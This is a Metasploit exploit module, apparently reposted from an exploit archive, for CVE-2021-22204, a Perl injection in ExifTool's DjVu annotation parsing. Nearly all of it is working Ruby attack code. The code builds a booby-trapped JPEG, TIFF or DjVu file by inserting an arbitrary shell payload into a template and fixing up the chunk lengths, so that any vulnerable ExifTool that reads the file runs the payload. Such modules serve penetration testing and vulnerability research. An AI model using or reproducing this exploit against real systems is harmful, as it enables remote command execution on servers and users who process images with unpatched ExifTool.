Exploit for ExifTool DjVu ANT Perl Injection CVE-2021-22204

## https://sploitus.com/exploit?id=PACKETSTORM:162558
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ExifTool DjVu ANT Perl injection',  
'Description' => %q{  
This module exploits a Perl injection vulnerability in the DjVu ANT  
parsing code of ExifTool versions 7.44 through 12.23 inclusive. The  
injection is used to execute a shell command using Perl backticks.  
The DjVu image can be embedded in a wrapper image using the  
HasselbladExif EXIF field.  
},  
'Author' => [  
'William Bowling', # Vulnerability discovery  
'Justin Steven' # Metasploit module  
],  
'References' => [  
%w[CVE 2021-22204],  
%w[URL https://twitter.com/wcbowling/status/1385803927321415687],  
%w[URL https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031],  
%w[URL https://www.openwall.com/lists/oss-security/2021/05/10/5]  
],  
'DisclosureDate' => '2021-05-24',  
'License' => MSF_LICENSE,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' => {  
'DisableNops' => true,  
'Space' => 2000,  
'BadChars' => "\x22\x24\x40\x60\x5c" # ", $, @, ` and \  
},  
'Targets' => [  
['JPEG file', { template: 'msf.jpg' }],  
['TIFF file', { template: 'msf.tif' }],  
['DjVu file', { template: 'msf.djvu' }]  
],  
'DefaultTarget' => 0  
)  
)  
  
register_options([  
OptString.new('FILENAME', [true, 'Output file', 'msf.jpg'])  
])  
end  
  
def exploit  
p = payload.encoded  
  
buf = djvu_template.sub('echo vulnerable > /dev/tty', p)  
buf[8, 4] = [209 + p.length].pack('L>') # Fix up DJVM length  
buf[174, 4] = [43 + p.length].pack('L>') # Fix up DJVI length  
buf[186, 4] = [31 + p.length].pack('L>') # Fix up ANTa length  
  
if target.name == 'JPEG file'  
jpeg_buf = jpeg_template  
jpeg_buf[86, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)  
buf = jpeg_buf  
elsif target.name == 'TIFF file'  
tif_buf = tif_template  
tif_buf[206, 2221] = buf + Rex::Text.rand_text_alphanumeric(2221 - buf.length)  
buf = tif_buf  
end  
  
file_create(buf)  
end  
  
def djvu_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.djvu'  
))  
end  
  
def jpeg_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.jpg'  
))  
end  
  
def tif_template  
File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2021-22204', 'msf.tif'  
))  
end  
end